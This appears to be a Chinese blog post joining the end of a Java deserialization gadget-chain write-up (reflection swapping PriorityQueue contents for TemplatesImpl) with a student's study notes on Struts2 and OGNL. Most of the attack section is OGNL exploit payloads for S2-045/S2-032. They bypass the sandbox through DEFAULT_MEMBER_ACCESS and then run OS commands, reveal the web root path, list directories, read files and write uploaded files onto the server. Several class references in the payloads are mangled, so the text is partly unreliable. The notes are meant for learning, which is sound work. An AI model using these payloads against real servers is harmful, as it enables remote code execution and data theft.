接下来要做的就比较明确了,先添加正常的数据再通过反射去替换掉 queue 中的对象和 property,因为 PriorityQueue 不支持 non-comparable 对象,这里用到了 Java 的泛型的类型擦除。如果直接使用 queue.add 方法添加 template 会触发 Java 的 SecurityManager 安全机制,抛出异常:

        // stub data for replacement later
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        // switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        return queue;

0x03 测试

59950c77cb15c.png

参考

好久没管博客了,怕这个博客也废了,传个以前写的笔记上来。当初写这个原因也很简单,每次struts2的漏洞出来了,连大佬们的POC都看不懂为啥要这样写,即使有了POC也不懂得咋去变通使用,所以就去学习了一发,笔记做的比较简略了。最近的考试都完了,虽然还没毕业,但是感觉整个大学都结束了一般。

struts2 框架

web.xml为整个项目的入口。
添加struts2的过滤器,

<filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>

<filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

更新:
在 Struts 2.1.3 之后用的过滤器为 StrutsPrepareAndExecuteFilter 或者 StrutsPrepareFilter + StrutsExecuteFilter,前者做一些准备工作,处理请求(比如普通的请求还是文件上传之类),后者便是执行 Action。

filter-mapping中还有个dispatcher标签,值有REQUEST(默认值),INCLUDE,FORWARD,ERROR

filter必须要实现javax.servlet.Filter接口

过滤器中的三个方法:

  • void init(FilterConfig config) 用于完成Filter的初始化
  • void destroy() 用于Filter销毁前完成某些资源的回收
  • void doFilter(ServletRequest request, ServletResponse respone, FilterChain chain) 完成过滤功能,对每个请求及响应进行拦截和处理

在struts.xml 中定义相应的action应该做什么

action类的编写

变量要具有setter和getter方法
一个不带参数的execute()方法

ServletActionContext是直接访问Servlet API的工具类

ActionContext表示的是Action的上下文环境,它封装了一个Action运行所需要的环境,有value_stack、session、application、parameters、locale

提交一个请求时,会为这个请求创建一个和web容器交互的ActionContext,与此同时会创建ValueStack,并置于ActionContext之中。而实例化Action之后,就会将这个action对象压入ValueStack中

OGNL

(对象图导航语言),是应用于Java中的一个开源的表达式语言(Expression Language),它被集成在Struts2等框架中,作用是对数据进行访问,它拥有类型转换、访问对象方法、操作集合对象等功能。

#访问非根对象#application.username(struts中值栈为根对象),过滤集合books.{?#this.price>35},构造Map,#{'foo1':'bar1', 'foo2':'bar2'}

%的作用是在标签的属性值被理解为字符串类型时,告诉执行环境%{}里的是OGNL表达式

$在国际化资源文件中或是Struts2配置文件中引用OGNL表达式

静态的方法调用和值访问,表达式的格式为@[类全名(包括包路径)]@[方法名|值名]

EXP

struts2在2.3.14.1版本之后便设置#_memberAccess["allowStaticMethodAccess"]为不可修改,而要调用java静态方法,必须要设置allowStaticMethodAccess为true才可以

沙盒绕过,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,这样就可以绕过SecurityMemberAccess的限制

S02-045

%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#cmd='whoami').(#cmds={'cmd.exe','/c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())

执行命令

#nike='multipart/form-data',#[email protected]@DEFAULT_MEMBER_ACCESS,#cmd='whoami',#cmds={'cmd.exe','/c',#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#[email protected]@getResponse().getOutputStream(),@[email protected](#process.getInputStream(),#ros),#ros.flush()

物理路径

#nike='multipart/form-data',#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRequest(),#[email protected]@getResponse().getWriter(),#o.println(#r.getRealPath('/')),#o.close()

列目录

#nike='multipart/form-data',#[email protected]@DEFAULT_MEMBER_ACCESS,#l=new java.io.File('d:/Tomcat 7.0/webapps/S2-032/').list(),#[email protected]@getResponse().getWriter(),#o.println(#l[0]),#o.close()

读文件

#nike='multipart/form-data',#[email protected]@DEFAULT_MEMBER_ACCESS,#f=new java.io.FileInputStream('d:/Tomcat 7.0/webapps/S2-032/c.jsp'),#b=new byte[999999],#s=new java.lang.String(#b,0,#f.read(#b)),#[email protected]@getResponse().getWriter(),#o.println(#s),#o.close()

写文件

#nike='multipart/form-data',#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRequest(),#f=new java.io.File('d:/Tomcat 7.0/webapps/S2-032/test.jsp'),@[email protected](#r.getInputStream(),new java.io.FileOutputStream(#f))